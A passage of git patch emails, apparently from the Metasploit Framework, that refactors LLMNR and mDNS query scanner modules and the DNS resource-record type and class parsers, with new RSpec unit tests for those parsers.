+ new_from_string(type.upcase) when Fixnum # type in numeric form - new_from_num(type) + new_from_num(type) when nil # default type, control with Types.default= - @str = Types.invert[@@default] + @str = Types.invert[@@default] @num = @@default else raise TypeArgumentError, "Wrong type class: #{type.class}" end end - - # Returns the type in number format + + # Returns the type in number format # (default for normal use) def inspect @num @@ -155,21 +155,21 @@ module Net # :nodoc: def to_i @num.to_i end - + # Should be used only for testing purpouses def to_str @num.to_s end private - + # Constructor for string data type, # *PRIVATE* method def new_from_string(type) case type when /^TYPE\\d+/ # TODO!!! - else + else # String with name of type if Types.has_key? type @str = type @@ -187,12 +187,13 @@ module Net # :nodoc: @num = type @str = Types.invert[type] else - raise TypeArgumentError, "Unkown type number #{type}" + @num = type + @str = "TYPE#{type}" end end - + end # class Types - + end # class RR end # module DNS end # module Net From 4feda7f3e710a0c48aaad177188fb84178d5f5c2 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Fri, 31 Oct 2014 16:20:10 -0700 Subject: [PATCH 0027/2172] Allow friendly LLMNR type (PTR, ptr, 12) and class (IN, in, 1) --- lib/msf/core/auxiliary/llmnr.rb | 90 +++++++++++++++++++++++- modules/auxiliary/scanner/llmnr/query.rb | 10 +-- 2 files changed, 91 insertions(+), 9 deletions(-) diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb index 1d3bf8896d..9e6cff64a7 100644 --- a/lib/msf/core/auxiliary/llmnr.rb +++ b/lib/msf/core/auxiliary/llmnr.rb @@ -21,8 +21,96 @@ module Auxiliary::LLMNR register_options( [ OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']), - Opt::RPORT(5355) + Opt::RPORT(5355), + OptString.new('NAME', [true, 'The name to query', 'localhost']), + OptString.new('TYPE', [true, 'The query type (name or #)', 'A']), + OptString.new('CLASS', [true, 'The query class (name or #)', 'IN']) ], self.class) end + + def setup + query_class_name + query_type_name + end + + def query_class + datastore['CLASS'].upcase + end + + def query_class_name + return @query_class_name if @query_class_name + if /^(?\d+)$/ =~ query_class + class_num = class_num.to_i + raise ClassArgumentError, "LLMNR RR class #{query_class} out of range" if class_num > 0x7FFF + begin + @query_class_name = Net::DNS::RR::Classes.to_str(class_num) + rescue ClassArgumentError + @query_class_name = "CLASS#{class_num}" + end + else + unless Net::DNS::RR::Classes.valid?(query_class) + raise ClassArgumentError, "LLMNR RR class #{query_class} invalid" + end + @query_class_name = query_class + end + + @query_class_name + end + + def query_class_num + return @query_class_num if @query_class_num + if /^(?\d+)$/ =~ query_class + class_num = class_num.to_i + raise ClassArgumentError, "LLMNR RR class #{query_class} out of range" if class_num > 0x7FFF + @query_class_num = class_num + else + unless Net::DNS::RR::Classes.valid?(query_class) + raise ClassArgumentError, "LLMNR RR class #{query_class} invalid" + end + @query_class_num = Net::DNS::RR::Classes::Classes[query_class] + end + + @query_class_num + end + + def query_type + datastore['TYPE'].upcase + end + + def query_type_name + return @query_type_name if @query_type_name + if /^(?\d+)$/ =~ query_type + type_num = type_num.to_i + raise TypeArgumentError, "LLMNR RR type #{query_type} out of range" if type_num > 0xFFFF + begin + @query_type_name = Net::DNS::RR::Types.to_str(type_num) + rescue TypeArgumentError + @query_type_name = "TYPE#{type_num}" + end + else + unless Net::DNS::RR::Types.valid?(query_type) + raise TypeArgumentError, "LLMNR RR type #{query_type} invalid" + end + @query_type_name = query_type + end + + @query_type_name + end + + def query_type_num + return @query_type_num if @query_type_num + if /^(?\d+)$/ =~ query_type + type_num = type_num.to_i + raise TypeArgumentError, "LLMNR RR type #{query_type} out of range" if type_num > 0xFFFF + @query_type_num = type_num + else + unless Net::DNS::RR::Types.valid?(query_type) + raise TypeArgumentError, "LLMNR RR type #{query_type} invalid" + end + @query_type_num = Net::DNS::RR::Types::Types[query_type] + end + + @query_type_num + end end end diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 438e40c287..72284f27f8 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -24,16 +24,10 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE ) ) - register_options( - [ - OptString.new('NAME', [ true, 'The name to query', 'localhost' ]), - OptInt.new('TYPE', [ true, 'The query type #', 255 ]), - OptInt.new('CLASS', [ true, 'The query class #', 1 ]) - ], self.class) end def setup - @probe = ::Net::DNS::Packet.new(datastore['NAME'], datastore['TYPE'], datastore['CLASS']).data + @probe = ::Net::DNS::Packet.new(datastore['NAME'], query_type_num, query_class_num).data end def scanner_process(data, shost, _sport) @@ -42,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary end def scanner_prescan(batch) - print_status("Sending LLMNR queries to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + print_status("Sending LLMNR #{query_type_name} #{query_class_name} queries to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") @results = {} end From ece84c0e309077886c26e4ba93fd3acf068d8aa1 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 3 Nov 2014 10:08:37 -0800 Subject: [PATCH 0028/2172] Use build_probe --- modules/auxiliary/scanner/llmnr/query.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 72284f27f8..54e646d38e 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Auxiliary ) end - def setup - @probe = ::Net::DNS::Packet.new(datastore['NAME'], query_type_num, query_class_num).data + def build_probe + @probe ||= ::Net::DNS::Packet.new(datastore['NAME'], query_type_num, query_class_num).data end def scanner_process(data, shost, _sport) From 8398bae64f9e67e2eba2757671a491efe8f202d0 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 3 Nov 2014 10:12:37 -0800 Subject: [PATCH 0029/2172] Allow Net::DNS::RR::Types to handle all valid types --- lib/net/dns/rr/types.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/net/dns/rr/types.rb b/lib/net/dns/rr/types.rb index 0e724c5615..28c10f80f7 100644 --- a/lib/net/dns/rr/types.rb +++ b/lib/net/dns/rr/types.rb @@ -167,8 +167,11 @@ module Net # :nodoc: # *PRIVATE* method def new_from_string(type) case type - when /^TYPE\\d+/ - # TODO!!! + when /^TYPE(?\d+)$/ + type_num = type_num.to_i + raise TypeArgumentError, "Invalid type #{type_num}" if type_num > 0xFFFF + @str = type + @num = type_num else # String with name of type if Types.has_key? type @@ -183,6 +186,7 @@ module Net # :nodoc: # Contructor for numeric data type # *PRIVATE* method def new_from_num(type) + raise TypeArgumentError, "Invalid type #{type}" if type < 0 || type > 0xFFFF if Types.invert.has_key? type @num = type @str = Types.invert[type] From 1957fe6d5618476405c49eb82ee4ad28e339de22 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 3 Nov 2014 10:13:03 -0800 Subject: [PATCH 0030/2172] Add incomplete spec for Net::DNS::RR::Types --- spec/lib/net/dns/rr/types_spec.rb | 55 +++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) create mode 100644 spec/lib/net/dns/rr/types_spec.rb diff --git a/spec/lib/net/dns/rr/types_spec.rb b/spec/lib/net/dns/rr/types_spec.rb new file mode 100644 index 0000000000..15ecb377d2 --- /dev/null +++ b/spec/lib/net/dns/rr/types_spec.rb @@ -0,0 +1,55 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'net/dns' + +describe Net::DNS::RR::Types do + + subject do + described_class.new + end + + describe '#initialize' do + subject(:type) do + described_class.allocate + end + + it 'raises when initialized with no args' do + expect { type.send(:initialize) }.to raise_error(ArgumentError) + end + + it 'respects default type when initialized with a nil type' do + type.send(:initialize, nil) + expect(type.to_i).to eql(1) + expect(type.to_s).to eql('A') + end + + # TODO: figure out why this doesn't work + skip 'respects configured default type' do + type.send(:default=, 'CNAME') + expect(type.to_i).to eql(5) + expect(type.to_s).to eql('CNAME') + end + + it 'initializes with a valid Fixnum argument' do + type.send(:initialize, 1) + expect(type.to_i).to eql(1) + expect(type.to_s).to eql('A') + end + + it 'raises when the supplied Fixnum is invalid' do + expect { type.send(:initialize, 123456) }.to raise_error(TypeArgumentError) + expect { type.send(:initialize, -1) }.to raise_error(TypeArgumentError) + end + + it 'initializes with a valid String argument' do + type.send(:initialize, 'SRV') + expect(type.to_i).to eql(33) + expect(type.to_s).to eql('SRV') + end + + it 'raises when the supplied String is invalid' do + expect { type.send(:initialize, 'cats') }.to raise_error(TypeArgumentError) + end + end +end From 971ef30514974008c06a5ddcd6c41095c759d1ae Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 3 Nov 2014 10:30:45 -0800 Subject: [PATCH 0031/2172] Allow Net::DNS::RR::Classes to handle all valid classes --- lib/net/dns/rr/classes.rb | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/lib/net/dns/rr/classes.rb b/lib/net/dns/rr/classes.rb index 2f5aa818f0..3f59f6384c 100644 --- a/lib/net/dns/rr/classes.rb +++ b/lib/net/dns/rr/classes.rb @@ -40,7 +40,7 @@ module Net # :nodoc: when Fixnum return Classes.invert.has_key?(cls) else - raise ClassArgumentError, "Wrong cls class: #{cls.class}" + raise ClassArgumentError, "Wrong class: #{cls.class}" end end @@ -55,7 +55,7 @@ module Net # :nodoc: raise ClassArgumentError, "Unknown class number #{cls}" end else - raise ClassArgumentError, "Wrong cls class: #{cls.class}" + raise ClassArgumentError, "Wrong class: #{cls.class}" end end @@ -81,7 +81,7 @@ module Net # :nodoc: @str = Classes.invert[@@default] @num = @@default else - raise ClassArgumentError, "Wrong cls class: #{cls.class}" + raise ClassArgumentError, "Wrong class: #{cls.class}" end end @@ -89,8 +89,11 @@ module Net # :nodoc: # *PRIVATE* method def new_from_string(cls) case cls - when /^CLASS\\d+/ - # TODO!!! + when /^CLASS(?\d+)$/ + class_num = class_num.to_i + raise ClassArgumentError, "Invalid class #{class_num}" if class_num > 0xFFFF + @str = cls + @num = class_num else # String with name of class if Classes.has_key? cls @@ -105,6 +108,7 @@ module Net # :nodoc: # Contructor for numeric data class # *PRIVATE* method def new_from_num(cls) + raise ClassArgumentError, "Invalid class #{cls}" if cls < 0 || cls > 0xFFFF if Classes.invert.has_key? cls @num = cls @str = Classes.invert[cls] From 7b5be67d65a3199a9182343fad8b30581da07e16 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 3 Nov 2014 10:31:13 -0800 Subject: [PATCH 0032/2172] Add incomplete spec for Net::DNS::RR::Classes --- spec/lib/net/dns/rr/classes_spec.rb | 55 +++++++++++++++++++++++++++++ spec/lib/net/dns/rr/types_spec.rb | 46 ++++++++++++------------ 2 files changed, 78 insertions(+), 23 deletions(-) create mode 100644 spec/lib/net/dns/rr/classes_spec.rb diff --git a/spec/lib/net/dns/rr/classes_spec.rb b/spec/lib/net/dns/rr/classes_spec.rb new file mode 100644 index 0000000000..85dfa24c00 --- /dev/null +++ b/spec/lib/net/dns/rr/classes_spec.rb @@ -0,0 +1,55 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'net/dns' + +describe Net::DNS::RR::Classes do + + subject do + described_class.new + end + + describe '#initialize' do + subject(:rr_class) do + described_class.allocate + end + + it 'raises when initialized with no args' do + expect { rr_class.send(:initialize) }.to raise_error(ArgumentError) + end + + it 'respects default RR class when initialized with a nil RR class' do + rr_class.send(:initialize, nil) + expect(rr_class.to_i).to eql(1) + expect(rr_class.to_s).to eql('IN') + end + + # TODO: figure out why this doesn't work + skip 'respects configured default RR class' do + rr_class.send(:default=, 'NONE') + expect(rr_class.to_i).to eql(254) + expect(rr_class.to_s).to eql('NONE') + end + + it 'initializes with a valid RR class Fixnum argument' do + rr_class.send(:initialize, 4) + expect(rr_class.to_i).to eql(4) + expect(rr_class.to_s).to eql('HS') + end + + it 'raises when the supplied RR class Fixnum is invalid' do + expect { rr_class.send(:initialize, 123456) }.to raise_error(ClassArgumentError) + expect { rr_class.send(:initialize, -1) }.to raise_error(ClassArgumentError) + end + + it 'initializes with a valid RR class String argument' do + rr_class.send(:initialize, 'CH') + expect(rr_class.to_i).to eql(3) + expect(rr_class.to_s).to eql('CH') + end + + it 'raises when the supplied RR class String is invalid' do + expect { rr_class.send(:initialize, 'cats') }.to raise_error(ClassArgumentError) + end + end +end diff --git a/spec/lib/net/dns/rr/types_spec.rb b/spec/lib/net/dns/rr/types_spec.rb index 15ecb377d2..a010c0889e 100644 --- a/spec/lib/net/dns/rr/types_spec.rb +++ b/spec/lib/net/dns/rr/types_spec.rb @@ -10,46 +10,46 @@ describe Net::DNS::RR::Types do end describe '#initialize' do - subject(:type) do + subject(:rr_type) do described_class.allocate end it 'raises when initialized with no args' do - expect { type.send(:initialize) }.to raise_error(ArgumentError) + expect { rr_type.send(:initialize) }.to raise_error(ArgumentError) end - it 'respects default type when initialized with a nil type' do - type.send(:initialize, nil) - expect(type.to_i).to eql(1) - expect(type.to_s).to eql('A') + it 'respects default RR type when initialized with a nil RR type' do + rr_type.send(:initialize, nil) + expect(rr_type.to_i).to eql(1) + expect(rr_type.to_s).to eql('A') end # TODO: figure out why this doesn't work - skip 'respects configured default type' do - type.send(:default=, 'CNAME') - expect(type.to_i).to eql(5) - expect(type.to_s).to eql('CNAME') + skip 'respects configured default RR type' do + rr_type.send(:default=, 'CNAME') + expect(rr_type.to_i).to eql(5) + expect(rr_type.to_s).to eql('CNAME') end - it 'initializes with a valid Fixnum argument' do - type.send(:initialize, 1) - expect(type.to_i).to eql(1) - expect(type.to_s).to eql('A') + it 'initializes with a valid RR type Fixnum argument' do + rr_type.send(:initialize, 2) + expect(rr_type.to_i).to eql(2) + expect(rr_type.to_s).to eql('NS') end - it 'raises when the supplied Fixnum is invalid' do - expect { type.send(:initialize, 123456) }.to raise_error(TypeArgumentError) - expect { type.send(:initialize, -1) }.to raise_error(TypeArgumentError) + it 'raises when the supplied RR type Fixnum is invalid' do + expect { rr_type.send(:initialize, 123456) }.to raise_error(TypeArgumentError) + expect { rr_type.send(:initialize, -1) }.to raise_error(TypeArgumentError) end - it 'initializes with a valid String argument' do - type.send(:initialize, 'SRV') - expect(type.to_i).to eql(33) - expect(type.to_s).to eql('SRV') + it 'initializes with a valid RR type String argument' do + rr_type.send(:initialize, 'SRV') + expect(rr_type.to_i).to eql(33) + expect(rr_type.to_s).to eql('SRV') end - it 'raises when the supplied String is invalid' do - expect { type.send(:initialize, 'cats') }.to raise_error(TypeArgumentError) + it 'raises when the supplied RR type String is invalid' do + expect { rr_type.send(:initialize, 'cats') }.to raise_error(TypeArgumentError) end end end From e94f5fc635a696fdb8872fad9aff5c1b3635b82a Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 3 Nov 2014 11:07:08 -0800 Subject: [PATCH 0033/2172] Better handling of TYPE#/CLASS#, tests --- lib/msf/core/auxiliary/llmnr.rb | 80 ++++++----------------------- lib/net/dns/rr/classes.rb | 9 ++-- lib/net/dns/rr/types.rb | 7 +-- spec/lib/net/dns/rr/classes_spec.rb | 7 +++ spec/lib/net/dns/rr/types_spec.rb | 7 +++ 5 files changed, 35 insertions(+), 75 deletions(-) diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb index 9e6cff64a7..c6384ef8ab 100644 --- a/lib/msf/core/auxiliary/llmnr.rb +++ b/lib/msf/core/auxiliary/llmnr.rb @@ -23,8 +23,8 @@ module Auxiliary::LLMNR OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']), Opt::RPORT(5355), OptString.new('NAME', [true, 'The name to query', 'localhost']), - OptString.new('TYPE', [true, 'The query type (name or #)', 'A']), - OptString.new('CLASS', [true, 'The query class (name or #)', 'IN']) + OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'A']), + OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN']) ], self.class) end @@ -34,83 +34,35 @@ module Auxiliary::LLMNR end def query_class - datastore['CLASS'].upcase + if datastore['CLASS'] =~ /^\d+$/ + datastore['CLASS'].to_i + else + datastore['CLASS'].upcase + end end def query_class_name - return @query_class_name if @query_class_name - if /^(?\d+)$/ =~ query_class - class_num = class_num.to_i - raise ClassArgumentError, "LLMNR RR class #{query_class} out of range" if class_num > 0x7FFF - begin - @query_class_name = Net::DNS::RR::Classes.to_str(class_num) - rescue ClassArgumentError - @query_class_name = "CLASS#{class_num}" - end - else - unless Net::DNS::RR::Classes.valid?(query_class) - raise ClassArgumentError, "LLMNR RR class #{query_class} invalid" - end - @query_class_name = query_class - end - - @query_class_name + Net::DNS::RR::Classes.new(query_class).to_s end def query_class_num - return @query_class_num if @query_class_num - if /^(?\d+)$/ =~ query_class - class_num = class_num.to_i - raise ClassArgumentError, "LLMNR RR class #{query_class} out of range" if class_num > 0x7FFF - @query_class_num = class_num - else - unless Net::DNS::RR::Classes.valid?(query_class) - raise ClassArgumentError, "LLMNR RR class #{query_class} invalid" - end - @query_class_num = Net::DNS::RR::Classes::Classes[query_class] - end - - @query_class_num + Net::DNS::RR::Classes.new(query_class).to_i end def query_type - datastore['TYPE'].upcase + if datastore['TYPE'] =~ /^\d+$/ + datastore['TYPE'].to_i + else + datastore['TYPE'].upcase + end end def query_type_name - return @query_type_name if @query_type_name - if /^(?\d+)$/ =~ query_type - type_num = type_num.to_i - raise TypeArgumentError, "LLMNR RR type #{query_type} out of range" if type_num > 0xFFFF - begin - @query_type_name = Net::DNS::RR::Types.to_str(type_num) - rescue TypeArgumentError - @query_type_name = "TYPE#{type_num}" - end - else - unless Net::DNS::RR::Types.valid?(query_type) - raise TypeArgumentError, "LLMNR RR type #{query_type} invalid" - end - @query_type_name = query_type - end - - @query_type_name + Net::DNS::RR::Types.new(query_type).to_s end def query_type_num - return @query_type_num if @query_type_num - if /^(?\d+)$/ =~ query_type - type_num = type_num.to_i - raise TypeArgumentError, "LLMNR RR type #{query_type} out of range" if type_num > 0xFFFF - @query_type_num = type_num - else - unless Net::DNS::RR::Types.valid?(query_type) - raise TypeArgumentError, "LLMNR RR type #{query_type} invalid" - end - @query_type_num = Net::DNS::RR::Types::Types[query_type] - end - - @query_type_num + Net::DNS::RR::Types.new(query_type).to_i end end end diff --git a/lib/net/dns/rr/classes.rb b/lib/net/dns/rr/classes.rb index 3f59f6384c..2ec1aaf1dd 100644 --- a/lib/net/dns/rr/classes.rb +++ b/lib/net/dns/rr/classes.rb @@ -89,18 +89,15 @@ module Net # :nodoc: # *PRIVATE* method def new_from_string(cls) case cls - when /^CLASS(?\d+)$/ - class_num = class_num.to_i - raise ClassArgumentError, "Invalid class #{class_num}" if class_num > 0xFFFF - @str = cls - @num = class_num + when /^CLASS(\d+)$/ + new_from_num(Regexp.last_match(1).to_i) else # String with name of class if Classes.has_key? cls @str = cls @num = Classes[cls] else - raise ClassArgumentError, "Unknown cls #{cls}" + raise ClassArgumentError, "Unknown class #{cls}" end end end diff --git a/lib/net/dns/rr/types.rb b/lib/net/dns/rr/types.rb index 28c10f80f7..e4507d23c2 100644 --- a/lib/net/dns/rr/types.rb +++ b/lib/net/dns/rr/types.rb @@ -167,11 +167,8 @@ module Net # :nodoc: # *PRIVATE* method def new_from_string(type) case type - when /^TYPE(?\d+)$/ - type_num = type_num.to_i - raise TypeArgumentError, "Invalid type #{type_num}" if type_num > 0xFFFF - @str = type - @num = type_num + when /^TYPE(\d+)$/ + new_from_num(Regexp.last_match(1).to_i) else # String with name of type if Types.has_key? type diff --git a/spec/lib/net/dns/rr/classes_spec.rb b/spec/lib/net/dns/rr/classes_spec.rb index 85dfa24c00..7b2fc8cb90 100644 --- a/spec/lib/net/dns/rr/classes_spec.rb +++ b/spec/lib/net/dns/rr/classes_spec.rb @@ -46,10 +46,17 @@ describe Net::DNS::RR::Classes do rr_class.send(:initialize, 'CH') expect(rr_class.to_i).to eql(3) expect(rr_class.to_s).to eql('CH') + rr_class.send(:initialize, 'CLASS9') + expect(rr_class.to_i).to eql(9) + expect(rr_class.to_s).to eql('CLASS9') + rr_class.send(:initialize, 'CLASS1') + expect(rr_class.to_i).to eql(1) + expect(rr_class.to_s).to eql('IN') end it 'raises when the supplied RR class String is invalid' do expect { rr_class.send(:initialize, 'cats') }.to raise_error(ClassArgumentError) + expect { rr_class.send(:initialize, 'CLASS123456') }.to raise_error(ClassArgumentError) end end end diff --git a/spec/lib/net/dns/rr/types_spec.rb b/spec/lib/net/dns/rr/types_spec.rb index a010c0889e..728525faad 100644 --- a/spec/lib/net/dns/rr/types_spec.rb +++ b/spec/lib/net/dns/rr/types_spec.rb @@ -46,10 +46,17 @@ describe Net::DNS::RR::Types do rr_type.send(:initialize, 'SRV') expect(rr_type.to_i).to eql(33) expect(rr_type.to_s).to eql('SRV') + rr_type.send(:initialize, 'TYPE12') + expect(rr_type.to_i).to eql(12) + expect(rr_type.to_s).to eql('PTR') + rr_type.send(:initialize, 'TYPE123') + expect(rr_type.to_i).to eql(123) + expect(rr_type.to_s).to eql('TYPE123') end it 'raises when the supplied RR type String is invalid' do expect { rr_type.send(:initialize, 'cats') }.to raise_error(TypeArgumentError) + expect { rr_type.send(:initialize, 'TYPE123456') }.to raise_error(TypeArgumentError) end end end From 95353da10782e1a1e01351da8faa85bc4a40aa92 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 3 Nov 2014 11:46:38 -0800 Subject: [PATCH 0034/2172] Cleanup, new base mDNS query module --- lib/msf/core/auxiliary/llmnr.rb | 104 +++++++++++------------- lib/msf/core/auxiliary/mdns.rb | 71 +++++++++++----- modules/auxiliary/scanner/mdns/query.rb | 82 ++++--------------- 3 files changed, 117 insertions(+), 140 deletions(-) diff --git a/lib/msf/core/auxiliary/llmnr.rb b/lib/msf/core/auxiliary/llmnr.rb index c6384ef8ab..a13d68acaa 100644 --- a/lib/msf/core/auxiliary/llmnr.rb +++ b/lib/msf/core/auxiliary/llmnr.rb @@ -1,68 +1,60 @@ # -*- coding: binary -*- +require 'net/dns' require 'rex/proto/llmnr' -require 'msf/core/exploit' + module Msf + # This module provides methods for working with LLMNR + module Auxiliary::LLMNR + include Auxiliary::UDPScanner -### -# -# This module provides methods for working with LLMNR -# -### -module Auxiliary::LLMNR + # Initializes an instance of an auxiliary module that uses LLMNR + def initialize(info = {}) + super + register_options( + [ + OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']), + Opt::RPORT(5355), + OptString.new('NAME', [true, 'The name to query', 'localhost']), + OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'A']), + OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN']) + ], self.class) + end - include Auxiliary::UDPScanner + def setup + query_class_name + query_type_name + end - # - # Initializes an instance of an auxiliary module that uses LLMNR - # + def query_class + if datastore['CLASS'] =~ /^\d+$/ + datastore['CLASS'].to_i + else + datastore['CLASS'].upcase + end + end - def initialize(info = {}) - super - register_options( - [ - OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.252']), - Opt::RPORT(5355), - OptString.new('NAME', [true, 'The name to query', 'localhost']), - OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'A']), - OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN']) - ], self.class) - end + def query_class_name + Net::DNS::RR::Classes.new(query_class).to_s + end - def setup - query_class_name - query_type_name - end + def query_class_num + Net::DNS::RR::Classes.new(query_class).to_i + end - def query_class - if datastore['CLASS'] =~ /^\d+$/ - datastore['CLASS'].to_i - else - datastore['CLASS'].upcase + def query_type + if datastore['TYPE'] =~ /^\d+$/ + datastore['TYPE'].to_i + else + datastore['TYPE'].upcase + end + end + + def query_type_name + Net::DNS::RR::Types.new(query_type).to_s + end + + def query_type_num + Net::DNS::RR::Types.new(query_type).to_i end end - - def query_class_name - Net::DNS::RR::Classes.new(query_class).to_s - end - - def query_class_num - Net::DNS::RR::Classes.new(query_class).to_i - end - - def query_type - if datastore['TYPE'] =~ /^\d+$/ - datastore['TYPE'].to_i - else - datastore['TYPE'].upcase - end - end - - def query_type_name - Net::DNS::RR::Types.new(query_type).to_s - end - - def query_type_num - Net::DNS::RR::Types.new(query_type).to_i - end -end end diff --git a/lib/msf/core/auxiliary/mdns.rb b/lib/msf/core/auxiliary/mdns.rb index feca944a3b..7976ebaecc 100644 --- a/lib/msf/core/auxiliary/mdns.rb +++ b/lib/msf/core/auxiliary/mdns.rb @@ -1,27 +1,60 @@ # -*- coding: binary -*- +require 'net/dns' require 'rex/proto/mdns' -require 'msf/core/exploit' + module Msf + # This module provides methods for working with mDNS + module Auxiliary::MDNS + include Auxiliary::UDPScanner -### -# -# This module provides methods for working with mDNS -# -### -module Auxiliary::MDNS + # Initializes an instance of an auxiliary module that uses mDNS + def initialize(info = {}) + super + register_options( + [ + OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.251']), + Opt::RPORT(5353), + OptString.new('NAME', [true, 'The name to query', '_services._dns-sd._udp.local']), + OptString.new('TYPE', [true, 'The query type (name, # or TYPE#)', 'PTR']), + OptString.new('CLASS', [true, 'The query class (name, # or CLASS#)', 'IN']) + ], self.class) + end - include Auxiliary::UDPScanner + def setup + query_class_name + query_type_name + end - # - # Initializes an instance of an auxiliary module that uses LLMNR - # - def initialize(info = {}) - super - register_options( - [ - OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '224.0.0.251']), - Opt::RPORT(5353) - ], self.class) + def query_class + if datastore['CLASS'] =~ /^\d+$/ + datastore['CLASS'].to_i + else + datastore['CLASS'].upcase + end + end + + def query_class_name + Net::DNS::RR::Classes.new(query_class).to_s + end + + def query_class_num + Net::DNS::RR::Classes.new(query_class).to_i + end + + def query_type + if datastore['TYPE'] =~ /^\d+$/ + datastore['TYPE'].to_i + else + datastore['TYPE'].upcase + end + end + + def query_type_name + Net::DNS::RR::Types.new(query_type).to_s + end + + def query_type_num + Net::DNS::RR::Types.new(query_type).to_i + end end end -end diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index 0c3a1ac299..2856fd6685 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,84 +14,36 @@ class Metasploit3 < Msf::Auxiliary super( update_info( info, - # TODO: fill in all of this - 'Name' => 'UDP Scanner Example', + 'Name' => 'mDNS Query', 'Description' => %q( - This module is an example of how to send probes to UDP services - en-masse, analyze any responses, and then report on any discovered - hosts, services, vulnerabilities or otherwise noteworthy things. - Simply address any of the TODOs. ), - 'Author' => 'Joe Contributor ', - 'References' => + 'Author' => [ - ['URL', 'https://example.com/~jcontributor'] + 'Jon Hart ' ], - 'DisclosureDate' => 'Mar 15 2014', 'License' => MSF_LICENSE ) ) - - register_options( - [ - Opt::RPORT(5353) - ], self.class) end - def setup - super - @probe = "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x09\x5F\x73\x65\x72\x76\x69\x63\x65\x73\x07\x5F\x64\x6E\x73\x2D\x73\x64\x04\x5F\x75\x64\x70\x05\x6C\x6F\x63\x61\x6C\x00\x00\x0C\x00\x01" + def build_probe + @probe ||= ::Net::DNS::Packet.new(datastore['NAME'], query_type_num, query_class_num).data end - # Called for each response packet - def scanner_process(response, src_host, _src_port) - # TODO: inspect each response, perhaps confirming that it is a valid - # response for the service/protocol in question and/or analyzing it more - # closely. In this case, we simply check to see that it is of reasonable - # size and storing a result for this host iff so. Note that src_port may - # not actually be the same as the original RPORT for some services if they - # respond back from different ports - return unless response.size >= 42 - @results[src_host] ||= [] - - # TODO: store something about this response, perhaps the response itself, - # some metadata obtained by analyzing it, the proof that it is vulnerable - # to something, etc. In this example, we simply look for any response - # with a sequence of 5 useful ASCII characters and, iff found, we store - # that sequence - /(?[\x20-\x7E]{5})/ =~ response && @results[src_host] << relevant + def scanner_process(data, shost, _sport) + @results[shost] ||= [] + @results[shost] << data + end + + def scanner_prescan(batch) + print_status("Sending mDNS #{query_type_name} #{query_class_name} queries to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + @results = {} end - # Called after the scan block def scanner_postscan(_batch) - @results.each_pair do |host, relevant_responses| - peer = "#{host}:#{rport}" - - # report on the host - report_host(host: host) - - # report on the service, since it responded - report_service( - host: host, - proto: 'udp', - port: rport, - name: 'example', - # show at most 4 relevant responses - info: relevant_responses[0, 4].join(',') - ) - - if relevant_responses.empty? - vprint_status("#{peer} Not vulnerable to something") - else - print_good("#{peer} Vulnerable to something!") - report_vuln( - host: host, - port: rport, - proto: 'udp', - name: 'something!', - info: "Got #{relevant_responses.size} response(s)", - refs: references - ) + @results.each_pair do |peer, resps| + resps.each do |resp| + print_good("#{peer} responded with #{Resolv::DNS::Message.decode(resp).inspect}") end end end From 80f5e68e8e1ddcbb0fecbd91e4ea1375f6d5a3d3 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Mon, 3 Nov 2014 11:53:38 -0800 Subject: [PATCH 0035/2172] Add basic descriptions --- modules/auxiliary/scanner/llmnr/query.rb | 4 ++++ modules/auxiliary/scanner/mdns/query.rb | 2 ++ 2 files changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 